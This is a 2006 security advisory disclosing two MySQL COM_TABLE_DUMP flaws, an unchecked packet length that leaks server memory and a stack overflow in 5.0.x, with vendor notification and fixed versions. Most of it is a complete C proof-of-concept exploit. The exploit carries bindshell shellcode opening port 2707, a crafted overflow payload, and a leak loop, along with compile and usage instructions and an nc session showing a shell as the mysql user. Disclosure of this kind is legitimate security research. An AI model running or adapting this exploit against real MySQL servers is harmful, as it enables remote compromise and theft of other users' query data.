

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-05/msg00041.html>

- *From:* Stefano Di Paola <stefano.dipaola@xxxxxxxx>
 - *Date:* Tue, 02 May 2006 15:40:57 +0200
-

~.oOOo. MySQL COM_TABLE_DUMP .oOOo.~

Information Leakage and Arbitrary command execution

=====

– Summary:

MySQL Server has an information leakage flaw, if a malicious client sends a specific forged packet.

Moreover some particular input can crash the server by overwriting the stack, which could lead to remote server compromise.

.The information Leakage (<=5.0.20, <= 4.0.26, <= 4.1.18, <= 5.1.?)–

Abstract:

An authenticated user could read random memory from MySQL server, by taking advantage of a non checked packet length.

.The server compromise (<=5.0.20 – yes, only 5.x branch – 5.1.x not tested) –

Abstract:

An authenticated user could remotely execute arbitrary commands by taking advantage of a stack overflow.

A Proof of Concept is Attached for all these issues.

Tested on: Debian 3.1 – IA32.

A little Note:

To take advantage of these flaws an attacker should have direct access to MySQL server communication layer (port 3306 or unix socket).

But if used in conjunction with some web application flaws (i.e. php code injection) an attacker could use socket programming (i.e. php sockets) to gain access to that layer.

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

== Description – The COM_TABLE_DUMP Information Leakage:

Author: Stefano Di Paola

Vulnerable: Mysql <= 4.0.26, 4.1.18, 5.0.20

Type of Vulnerability: Local/Remote – Information Leakage

Tested On : Debian 3.1 – IA32.

Vendor Status: Notified on April, 25th 2006, Confirmed on April, 26th 2006, New versions released on 2nd May 2006.

Fixed: Update to 4.0.27, 4.1.19, 5.0.21, 5.1.10 versions.

COM_TABLE_DUMP, as described in MySQL manual is
"used by slave server to get master table"

A deep look on it shows that MySQL server waits for a forged packet
in the following way:

```
packlen ,0x00 ,0x00 ,0x00 ,COM_TABLE_DUMP(0x13)
```

and then:

```
dblen, db_name , tblen , tblname
```

the extracted code is:

```
sql/sql_parse.cc: line: ~1589
```

```
case COM_TABLE_DUMP:
```

```
{  
char *db, *tbl_name;  
uint db_len= *(uchar*) packet;  
uint tbl_len= *(uchar*) (packet + db_len + 1);
```

```
    statistic_increment(thd->status_var.com_other, &LOCK_status);
```

```
    thd->enable_slow_log= opt_log_slow_admin_statements;
```

```
    db= thd->alloc(db_len + tbl_len + 2);
```

```
    if (!db)
```

```
    {  
        my_message(ER_OUT_OF_RESOURCES, ER(ER_OUT_OF_RESOURCES), MYF(0));  
        break;
```

```
    }  
    tbl_name= strmake(db, packet + 1, db_len)+1;  
    strmake(tbl_name, packet + db_len + 2, tbl_len);
```

```
    mysql_table_dump(thd, db, tbl_name, -1);
```

```
    break;
```

```
}
```

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

Packet should be something like this:

```
03 00 00 00 13 1 73 2f 1 74
```

to ask for table 't' on db 's'.

But as you can see there is no check for packet, so if we craft a packet like this:

```
03 00 00 00 13 len 73
```

we will get an error response

like this:

```
z^D#42S02Table 's.^D#42S02Table 's.z^D#42S02Table 's.' doesn't  
exist'NULL" doesn't ' doesn't exist
```

depending on len value and memory content.

what happens?

Here:

```
tbl_len = *(uchar*) (packet + db_len + 1);
```

takes some value beyond packet len and then with:

```
strmake(tbl_name, packet + db_len + 2, tbl_len);
```

memory content is copied by tbl_len in tbl_name or until it find a '\0'

so when this random name is not found Server will send back an error with some random internal memory content.

This, of course can expose parts of queries and or response executed by some previously logged user.

The Vendor fix:

bugs are fixed in 4.0.27, 4.1.19, 5.0.21, 5.1.10.

=====

– Description – The COM_TABLE_DUMP server compromise:

Author: Stefano Di Paola

Vulnerable: Mysql <= 5.0.20 – yes, only 5.x branch

Type of Vulnerability: Local/Remote – Input Validation – Server compromise

Tested On : Debian 3.1 – IA32.

Vendor Status: Notified on April, 25th 2006, Confirmed on April, 26th

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

2006, New versions released on 2nd May 2006.

Fixed: Update to 4.0.27, 4.1.19, 5.0.21, 5.1.10 versions.

With the same previous vulnerability, a malicious (authenticated) user could remotely execute arbitrary commands.

Let's see how:

On sql/sql_base.cc line: ~1090:

```
TABLE *open_table(THD *thd, TABLE_LIST *table_list, MEM_ROOT *mem_root,
bool *refresh, uint flags)
{
    reg1 TABLE *table;
    char key[MAX_DBKEY_LENGTH];
    uint key_length;
    char *alias= table_list->alias;
    HASH_SEARCH_STATE state;
    DEBUG_ENTER("open_table");
    DEBUG_PRINT("info", ("table_list:%x thd:%x %s",
table_list,thd,table_list->alias));
    /* find a unused table in the open table cache */
    if (refresh)
        *refresh=0;

    /* an open table operation needs a lot of the stack space */
    if (check_stack_overrun(thd, STACK_MIN_SIZE_FOR_OPEN, (char *)&alias))
        return 0;

    if (thd->killed)
        DEBUG_RETURN(0);
    key_length= (uint) (strmov(strmov(key, table_list->db)+1,
table_list->table_name)-key)+1;
    int4store(key + key_length, thd->server_id);
    int4store(key + key_length + 4, thd->variables.pseudo_thread_id);
```

By sending a triple of commands,

1. A select with the payload.

2-3. Two COM_TABLE_DUMP packets:

0x03, 0x00, 0x00, 0x00, 0x13, 0x02 , 0x73

that is db_len=2 and tbl_len is a memory value beyond the packet,

the two 'strmov' will, as the third COM_TABLE_DUMP packet is received by the server, overwrite a lot of memory, and a good part of the stack too...

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

The rest is kind of hacking to get the stack be aligned for jumping to the right address..

so i won't go deep in this technique (a lot of gdb helped very much).

To get this exploit work we need to know one address:

the thread struct address (thd).

We should know table_list address too, but i found mine is always 0x1f548 far from thd,so is automatically computed.

We need these address, because they are overwritten too, and the shellcode depends by table_list->alias address.

Of course there will be more sophisticated approaches, but, hey, this was done as a Poc not as a ready run-n-crack program for kiddies. :)

The Vendor fix:

bugs are fixed in 4.0.27, 4.1.19, 5.0.21, 5.1.10.

You can download them on <http://dev.mysql.com/downloads/>

=====

==COM_TABLE_DUMP poc :

my_com_table_dump_exploit.c

You can compile :

```
gcc -Imysql-5.0.20-src/include/ my_com_table_dump_exploit.c  
-Lmysql-5.0.20/lib/mysql/  
-lmysqlclient -o my_exploit
```

and then

```
my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s  
socket]][[-h host]][[-p port]][[-x]
```

-H: this Help;

-i: Information leakage exploit (shows the content of MySQL Server Memory)

-x: shows c/s communication output in hexadecimal

-t: hexadecimal table_list struct address (by default we try to find it automatically)

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

-a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)
-u: mysql username (anonymous too ;)
-p: mysql userpass (if you need it)
-s: the socket path if is a unix socket
-h: hostname or IP address
-P: port (default 3306)

Example_1 – Information leakage:

```
my_exploit -s socketpath -u username -i
```

Example_2 – Remote Shell on port 2707:

```
my_exploit -h 127.0.0.1 -u username -a 0x8b1f468
```

and then on another shell

```
$ nc 127.0.0.1 2707
id
uid=78(mysql) gid=78(mysql) groups=78(mysql)
^D
$
```

Regards,
Stefano

.....---oOOo-----oOOo---.....

Stefano Di Paola

Software Engineer

Email: stefano.dipaola_at_wisec.it

Email: stefano.dipaola1_at_tin.it

Web: www.wisec.it

.....

/* *****

April 21.st 2006

my_exploit.c

MySql COM_TABLE_DUMP Memory Leak & MySql remote BOF

MySql <= 5.0.20

MySql COM_TABLE_DUMP Memory Leak

MySql <= 4.x.x

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)

GPL 2.0

Disclaimer:

In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Any use of this information is at the user's own risk.

compile with:

```
gcc -Imysql-5.0.20-src/include/ my_com_table_dump_exploit.c -Lmysql-5.0.20/lib/mysql/ -lmysqlclient -o my_exploit
```

Then:

```
my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s socket][[-h host][[-p port]]][-x]
```

-H: this Help;

-i: Information leak exploit (shows the content of MySQL Server Memory)

-x: shows c/s communication output in hexadecimal

-t: hexadecimal table_list struct address (by default we try to find it automatically)

-a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)

-u: mysql username (anonymous too ;)

-p: mysql userpass (if you need it)

-s: the socket path if is a unix socket

-h: hostname or IP address

-P: port (default 3306)

Example_1 – Memoryleak: my_exploit -s socketpath -u username -i

Example_2 – Remote Shell: my_exploit -h 127.0.0.1 -u username -a 0x8b1f468

For memory leak:

```
my_exploit -i [-u user] [-p password] [-s socket][[-h hostname [-P port]]]
```

For the bindshell to port 2707

```
my_exploit [-t 0xtableaddress] [-a 0xthdaddress] [-u user] [-p password] [-s socket][[-h hostname [-P port]]]
```

then from another shell:

```
nc 127.0.0.1 2707
```

```
id
```

```
uid=78(mysql) gid=78(mysql) groups=78(mysql)
```

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

```
*/

#include <stdio.h>
#include <mysql.h>
#include <unistd.h>

// we need to know the thread struct address pointer and the table_list.
// these are defaults, change them from command line.
int thd = 0x8b1b338;
int tbl = 0x8b3a880;

#define USOCK2 "/tmp/mysql.sock"

char addr_tdh[4];
char addr_tbl[4];
char addr_ret[4];

// constants to overwrite packet with addresses for table_list thread and our shell.
#define TBL_POS 182
#define THD_POS 178
#define RET_POS 174
#define SHL_POS 34

// bindshell spawns a shell with on port 2707
char shcode[] = {
0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89 // 12
,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1
,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80
,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0
,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80
,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f
,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 // 12*7= 84
};

int tmp_idx = 0;

int dump_packet_len = 7;
char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 };

int payload_len = 371;
// header packet + select '1234567890...etc'
char query_payload[] = {
0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33 // 16 Some
junk from position 6 ...
, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36 // 32
, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 // 48
```

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

```
, 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34 // 64
, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32 // 72
, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35 // 88
, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 // 94
, 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a // 112
, 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3 // 128
endsh 118
, 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d // 144
, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63 // 160
, 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d // 176
, 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x72, 0x72, 0x73, 0x73, 0x74, 0x74, 0x75 // 192 178
, 0x75, 0x76, 0x76, 0x7a, 0x7a, 0x5f, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 208
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 224
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 240
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 256
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 272
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 288
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
, 0x3d, 0x3d, 0x27
}; // 16*23+3 = 371
```

```
static int s = 0, c = 0;
int fd = 0;
int d = 1;
int hexdump = 0;
char buf[65535];
```

```
MYSQL *conn; /* pointer to connection handler */
```

```
int
sendit (char *buf1, int fdest, int dblen)
{
int len1;
int i = 0;
int ret = 0;
printf ("%d\n", d);
if (d == 2)
{
// let's prepare the query packet
int o;
int position = 14;

tmp_idx = 3;
```

```

int ret = tbl - 0x106 + 33;

for (i = 0; i < 32; i += 8)
addr_ret[tmp_idx--] = (ret >> i) & 0xff;

tmp_idx = 3;
for (i = 0; i < 32; i += 8)
addr_tdh[tmp_idx--] = (thd >> i) & 0xff;

tmp_idx = 3;
for (i = 0; i < 32; i += 8)
addr_tbl[tmp_idx--] = (tbl >> i) & 0xff;
printf ("ret %x\n", ret);

#if 1
tmp_idx = 0;
for (o = THD_POS; o > THD_POS - 4; o--)
query_payload[o] = addr_tdh[tmp_idx++];

tmp_idx = 0;
for (o = TBL_POS; o > TBL_POS - 4; o--)
query_payload[o] = addr_tbl[tmp_idx++];

tmp_idx = 0;
for (o = RET_POS; o > RET_POS - 4; o--)
query_payload[o] = addr_ret[tmp_idx++];
#else
for (; position < payload_len - 12; position += 12)
{
tmp_idx = 0;
printf ("p:%d\n", position);
for (o = position + 4; o > position; o--)
query_payload[o] = addr_ret[tmp_idx++];

tmp_idx = 0;
for (o = position + 8; o > position + 4; o--)
query_payload[o] = addr_tdh[tmp_idx++];

tmp_idx = 0;
for (o = position + 12; o > position + 8; o--)
query_payload[o] = addr_tbl[tmp_idx++];
}
#endif

tmp_idx = 0;
for (o = SHL_POS; o < SHL_POS + 84; o++)

```

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

```
query_payload[o] = shcode[tmp_idx++];

printf ("entro\n");
buf1 = query_payload;
len1 = payload_len;
}
else if (d >= 3)
{
printf ("entro\n");

// prepare table_dump request – PACK_LEN, 0x00, 0x00, 0x00, COM_TABLE_DUMP (0x13),
DB_NAME_LEN (2) , RANDOM_CHAR (=0x73)
buf1 = table_dump_packet;
if (dblen >= 0)
buf1[5] = (char) dblen;
printf ("%x", (char) dblen);
len1 = dump_packet_len;
}
d++;

printf ("\nClient -> Server\n");
if (hexdump)
{
for (i = 0; i < len1; i++)
printf (" %.2x%c", (unsigned char) buf1[i],
((i + 1) % 16 ? ' ': '\n'));
printf ("\n");
for (i = 0; i < len1; i++)
{
unsigned char f = (unsigned char) buf1[i];
printf (" %.2c%2c", (isprint (f) ? f : '.'),
(((i + 1) % 16) ? ' ': '\n'));
}
}
if (send (fd, buf1, len1, 0) != len1)
{
perror ("cli: send(buf3)");
exit (1);
}

fdest = fd;

memset (buf, 0, 65535);
ret = recv (fdest, buf, 65535, 0);
printf ("\nServer -> Client\n");
if (hexdump)
{
for (i = 0; i < ret; i++)
printf (" %.2x%c", (unsigned char) buf[i],
```

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

```
((i + 1) % 16 ? '' : '\n'));
printf ("\n");
for (i = 0; i < ret; i++)
{
    unsigned char f = (unsigned char) buf[i];
    printf (" %.2c%.2c", (isprint (f) ? f : '.'),
    ((i + 1) % 16 ? '' : '\n'));
}
}
else
{
    printf ("\n%s\n", buf + 5);
}
// printf("\nSending to client\n");
// ret= send(c, buf, ret, 0);

return 0;
}

usage ()
{
    printf
    ("\nusage my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s socket]][-h host][--p
port]][-x]\n\n\
-H: this Help;\n\
-i: Information leak exploit (shows the content of MySql Server Memory)\n\
-x: shows c/s communication output in hexadecimal\n\
-t: hexadecimal table_list struct address (by default we try to find it automatically)\n\
-a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)\n\
-u: mysql username (anonymous too ;)\n\
-p: mysql userpass (if you need it)\n\
-s: the socket path if is a unix socket\n\
-h: hostname or IP address\n\
-P: port (default 3306)\n\nExample_1 - Memoryleak: my_exploit -h 127.0.0.1 -u username -i\n\n\
Example_2 - Remote Shell on port 2707: my_exploit -h 127.0.0.1 -u username -a 0x8b1b338 -t
0x8b3a880\n\n\
");
}

int
main (int argc, char *argv[])
{
    int fdest = 0;
    int port = 3306;
    int shell = 1;
    int force_table = 0;
    char buf1[65535];
    char *socket;
    char *user = NULL;
```

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

```
char *pass = NULL;
char *host = NULL;
socket = strdup ("/tmp/mysql2.sock");
opterr = 0;

while ((c = getopt (argc, argv, "s:t:a:P:Hh:u:p:ix")) != -1)
switch (c)
{
case 's':
socket = (char *) optarg;
break;
case 't':
force_table = 1;
tbl = (int) strtol (optarg, NULL, 16);
//tbl=atoi( optarg );
break;
case 'a':
thd = (int) strtol (optarg, NULL, 16);
break;
case 'u':
user = (char *) optarg;
break;
case 'p':
pass = (char *) optarg;
break;
case 'P':
port = atoi (optarg);
break;
case 'h':
host = (char *) optarg;
break;
case 'i':
shell = 0;
break;
case 'x':
hexdump = 1;
break;
case 'H':
usage ();
return 1;
default:
break;
}

if (!force_table)
tbl = thd + 0x1f548;
conn = mysql_init (NULL);
int ret = mysql_real_connect (conn, /* pointer to connection handler */
host, /* host to connect to */
user, /* user name */
pass, /* password */
```

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary command execution.

```
NULL, /* database to use */
0, /* port (use default) */
socket, /* socket (use default) */
0); /* flags (none) */

if (!ret)
{
fprintf (stderr, "Can't connect, error : %s\n", mysql_error (conn));
return 1;
}
printf ("using table_list:%x thread:%x\n", tbl, thd);

fd = conn->net.fd;

if (shell)
{
d = 2;
sendit (buf1, fdest, -1);
d = 3;
sendit (buf1, fdest, -1);
d = 3;
sendit (buf1, fdest, -1);
}
else
{
int l;
d = 3;
for (l = 0; l < 256; l++)
{
sendit (buf1, fdest, l);
}
}
mysql_close (conn);

exit (0);
}
```